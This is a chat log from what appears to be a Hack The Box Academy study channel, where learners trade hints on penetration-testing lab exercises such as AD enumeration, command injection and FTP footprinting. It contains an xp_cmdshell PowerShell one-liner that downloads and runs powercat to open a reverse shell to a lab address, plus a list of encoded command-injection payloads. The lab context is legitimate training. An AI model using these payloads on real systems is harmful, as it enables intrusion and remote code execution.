Credentialed Enumeration - from Linux

[old hound]

nevermind 🙂

[fathom pendant]

"no route to host" kinda self explanatory; alongside "Rpc_s_access denied"

[old hound]

okay I need an info:
I have a reverse shell but it is only alive for 10 secs because the process kills itself.
I start a service and because it is not running correctly it will die.
How can I avoid it?

[leaden quail]

Im stuck since hours at the AD Skill Assessment Part 2 - Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.

Im trying since hours so get a reverse shell with xp_cmdshell "command.." but no just errors 😦

any hints?

[old hound]

windows server 2019?

[fathom pendant]

are you specifying the Domain Controller?

[leaden quail]

I open an http server

Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...

And trying:
1> xp_cmdshell 'powershell.exe -Command "IEX(New-Object System.Net.WebClient).DownloadString(''http://172.15.7.240:8001/powercat.ps'');powercat -c 172.16.7.240 -p 4444 -e cmd"'
2> go

tried different tools/methods, but nothing works

[graceful rampart]

You put 2 single quotes at the beginning of the url, but never closed them. So its trying to find a file at the url http://172.15.7.240:8001/powercat.ps%27%27);powercat -c 172.16.7.240 -p 4444 -e cmd".

[leaden quail]

Thats a copy+past mistake

[graceful rampart]

Well if your command got messed up while copying then I'm not looking at an accurate command

When you send any commands in here pit them between backticks (These: `)

[gloomy sigil]

Could anyone give me a nudge on Command Injection - Skills Assessment.
I'm trying to get CI in the endpoint ||GET /index.php?to=&dl=2470930823.txt||
I have spent few hours on this one. I have tried:
||\nwhoami
%0Awhoami
&ls
&&ls
%26ls
%26%26ls
%7Cls
%7C%7Cls
%7C%7Cwho\am\i
%7Cwho\am\i
%26%26who\am\i
%26who\am\i
%3Bwho\am\i
%60who\am\i%60
%60whoami%60
%24%28who\ami%29
%24%28whoami%29
;cat<2470930823.txt
3Bcat<2470930823.txt
%0Acat<2470930823.txt
%26cat<2470930823.txt
%26%26cat<2470930823.txt
%7C%7Ccat<2470930823.txt
%7Ccat<2470930823.txt
%60cat<2470930823.txt%60
%24%28cat<2470930823.txt%29
${LS_COLORS:10:1}cat<2470930823.txt
%26%26cAt<2470930823.txt
%26%26c\at<2470930823.txt
cat<2470930823.txt
$(cat<2470930823.txt)
%09$(cat<2470930823.txt)
%09%24%28cat<2470930823.txt%29
%09%60cat<2470930823.txt%60||
I'm out of ideas

[raven cairn]

Can hackthebox pls put back foxyproxy on pwnbox?

[rustic sage]

hey i dm you

[fathom pendant]

<@&861185840277487616>

feck off

[rustic sage]

@fathom pendant what percentage are u with cpts?

[fathom pendant]

I haven't touched it recently; been busy with health stuff

[rustic sage]

ahh ok just was curious

[winged hedge]

Thanks guys!

[thorn urchin]

someone in erratum too

[fathom pendant]

and #cpts lol

[winged hedge]

Much appreciated

[fathom pendant]

strangely enough not #cwes

[winged hedge]

Thanks again for your contribution!

[magic valve]

Need some hints for question Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host on final assessment 2 in the module Active Directory Enum and Attack.

I have found user and password and I know the ip for the MS01 box but have tried multiple ways in logging into it with found credentials with no success.

Any help would be greatly appreciated!

[still yacht]

Anyone have done the attackaing common services SQL i got the password for the "Account" but where to go, to continue to enumerate flagDB?

[devout torrent]

In password Attack - Password Mutations, is there anyway to speed the whole process. Even with -t 40 in hydra, I need 40 minutes, to crack the password ( I mutated the included password list with best64.rule )

[hoary pulsar]

One question, where is the general chat?

[thorn urchin]

#welcome

[hoary pulsar]

thanks

[rustic sage]

hey i dm'd you 🙂

[rustic sage]

try attackinng smb or ftp and see if theres password reuse. ftp and smb are like 4-5 times faster

also a few labs in pw attacks can take 30 -45 minutes only a few tho

[stiff moon]

in Attacking Common Applications at the Attacking GitLab the gitlab_userenum script dont work... dont know what to do.. metasploit dont work either 🤔

[rustic sage]

dm'd u

[honest ridge]

in Footprinting - FTP there is a question "Which version of the FTP server is running on the target system? Submit the entire banner as the answer" ive done nmap banner grabs used metasploit ftp_version and a couple of other things with the same banner/result yet it says its wrong. Ive requested help but dont actually know what that does. any ideas on this ? cheers

[fathom pendant]

Try resetting the machine and grabbing it again

[steady light]

Try grabbing the banner by connecting straight to ftp via telnet or ftp itself. Make sure not to grab the response code in your answer

Nmap is giving it too, I think you were grabbing it with the "220" response code

[honest ridge]

^ yeah it was the response code that made it wrong..... whoops😂

[steady light]

[west canopy]

i'll see what I can do

[wheat garden]

if your using it with burp its really better to use burps built in browser. Its stipped down with no secuirty but this streamlines web browser/application pentesting as alot of firefox, chrome and other browsers default settings and security interfere with web pentesting.

[raven cairn]

Yeah but you can configure firefox to have worse settings

[west canopy]

yep and if anyone is wondering its just the Open Browser button on the proxy tab. The burp Browser** also has the TLS cert already imported in case you are working with https (last time I checked.)

[proud pine]

FoxyProxy is also good if I want to quickly do HTTP through SOCKS

[hard dew]

anyone able to sanity check with me, im on Footprinting - Host Based Enumeration - FTP

not showing the version in nmap scans

[fathom pendant]

The version may not be what you're expecting, or just reset and try again

[hard dew]

oh hey MarcieLee, im scanning again now

got it now, think it was because i was grabbing the ID before the service name